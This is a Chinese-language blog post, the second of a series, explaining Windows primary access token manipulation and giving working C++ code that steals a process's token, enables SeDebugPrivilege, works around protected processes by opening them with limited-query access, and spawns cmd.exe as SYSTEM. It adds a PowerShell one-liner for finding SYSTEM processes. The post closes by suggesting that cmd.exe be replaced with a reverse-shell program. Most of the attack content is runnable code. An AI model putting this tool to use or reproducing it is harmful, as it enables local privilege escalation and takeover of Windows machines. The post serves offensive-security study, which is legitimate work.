Primary Access Token Manipulation Attack(令牌操作攻击下)

发布于 2017-06-09 17:26:56

在上文中我们了解了对应的过程,本文我们将讲解该种攻击的具体实现细节.。

进行这种攻击我们需要几个windows api他们的名称以及作用如下:


过程是:

openprocess() --> openprocesstoken() --> impersonateloggedonuser()--> duplicatetokenex() --> createprocesswithtokenw()

然后我们可以轻易的写出一个窃取令牌并启动程序的例子,我这里以irde的代码为例:

#include "stdafx.h"
#include 
#include 
int main(int argc, char * argv[]) {
char a;
HANDLE processHandle;
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
DWORD PID_TO_IMPERSONATE = 3060;
wchar_t cmdline[] = L"C:\\shell.cmd";
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, true, PID_TO_IMPERSONATE);
OpenProcessToken(processHandle, TOKEN_ALL_ACCESS, &tokenHandle);
DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, NULL, cmdline, 0, NULL, NULL, &startupInfo, &processInformation);
std::cin >> a;
return 0;
}

运行该程序,我们就可以获得一个3060进程令牌权限运行的shell.cmd的进程。当然,你需要有这个进程的访问权限。

然后我们继续该问题的探究,上文的运行程序+pid号,获得cmd的程序是primarytokentheft,可以在github上找到。

然后我们就实现了上述功能得到了一个system的cmd:


但是也并不是所有的进程都都是可以被操作的,比如看下面的这个图:


我们可以清楚的看到wmiprvse进程便无法被打开,主要是无法打开token。
那么为什么会出现这种问题呢?

对比两个程序,我们可以轻易的看到其中的区别:



那么怎么样才能绕过这种限制,让我们的可以随意操作任意进程的令牌呢?先不急,我们先看一下所有的令牌,因为我们的目的就是获取system令牌。

使用下面的脚本进行获取(https://gist.githubusercontent.com/vector-sec/a049bf12da619d9af8f9c7dbd28d3b56/raw/eaddf4151ebe4345623b7066a2c768665805fcad/Get-Token.ps1)


然后简单修改下,变成只获取system权限的进程:

get-token | where- {$_.username -eq 'NT AUTHORITY\SYSTEM' -and $_.ownername -ne 'NT AUTHORITY\SYSTEM'} | select- processname,processsid|format-table

这样列出的进程和进程号,是只为system权限的进程。

然后经过测试发现像csrss、service、wininit、smss等token获取失败


查看发现存在同一个问题:存在protect

根据微软文档,我们可以知道


只需要在openprocess中将第一个参数改成PROCESS_QUERY_LIMITED_INFORMATION即可。

那么只需要在primarytokentheft里面加一个判断即可,修改后的代码如下:

#include 
#include 
#include 

BOOL SetPrivilege(
	HANDLE hToken,         
	LPCTSTR lpszPrivilege, 
	BOOL bEnablePrivilege  
)
{
	TOKEN_PRIVILEGES tp;
	LUID luid;

	if (!LookupPrivilegeValue(
		NULL,          
		lpszPrivilege,   
		&luid))       
	{
		printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
		return FALSE;
	}

	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	if (bEnablePrivilege)
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
		tp.Privileges[0].Attributes = 0;



	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
		return FALSE;
	}

	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

	{
		printf("[-] The token does not have the specified privilege. \n");
		return FALSE;
	}

	return TRUE;
}

std::string get_username()
{
	TCHAR username[UNLEN + 1];
	DWORD username_len = UNLEN + 1;
	GetUserName(username, &username_len);
	std::wstring username_w(username);
	std::string username_s(username_w.begin(), username_w.end());
	return username_s;
}

int main(int argc, char** argv) {
	
	if (argc <= 1) {
		printf("USAGE: TokenSteal.exe Process PID");
		return -1;
	}
	printf("Primary Access Token Manipulation by lengyi \n\n");
	printf("[+] Current user is: %s\n", (get_username()).c_str());

	
	char* pid_c = argv[1];
	DWORD PID_TO_IMPERSONATE = atoi(pid_c);

	
	HANDLE tokenHandle = NULL;
	HANDLE duplicateTokenHandle = NULL;
	STARTUPINFO startupInfo;
	PROCESS_INFORMATION processInformation;
	ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
	ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
	startupInfo.cb = sizeof(STARTUPINFO);

	
	HANDLE currentTokenHandle = NULL;
	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
	if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
	{
		printf("[+] SeDebugPrivilege enabled!\n");
	}

	
	HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
	if (GetLastError() == NULL)
		printf("[+] OpenProcess() success!\n");
	else
	{
		HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
		if (GetLastError() == NULL) {
			printf("[+] OpenProcess() success!\n");
		}
		else
		{
			printf("[-] OpenProcess() Return Code: %i\n", processHandle);
			printf("[-] OpenProcess() Error: %i\n", GetLastError());
		}
	}


	BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
	if (GetLastError() == NULL)
		printf("[+] OpenProcessToken() success!\n");
	else
	{
		printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
		printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
	}


	BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
	if (GetLastError() == NULL)
	{
		printf("[+] ImpersonatedLoggedOnUser() success!\n");
		printf("[+] Current user is: %s\n", (get_username()).c_str());
		printf("[+] Reverting thread to original user context\n");
		RevertToSelf();
	}
	else
	{
		printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
		printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
	}

	BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
	if (GetLastError() == NULL)
		printf("[+] DuplicateTokenEx() success!\n");
	else
	{
		printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
		printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
	}

	
	BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
	if (GetLastError() == NULL)
		printf("[+] Process spawned!\n");
	else
	{
		printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
		printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
	}

	return 0;
}

此时,我们便可以获取任意进程的token:


将启动cmd更改为我们的反弹shell程序,即可获取的一个system的session:



参考文章:

https://attack.mitre.org/techniques/T1134/

https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw

https://docs.microsoft.com/zh-cn/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex?redirectedfrom=MSDN

https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights

6 条评论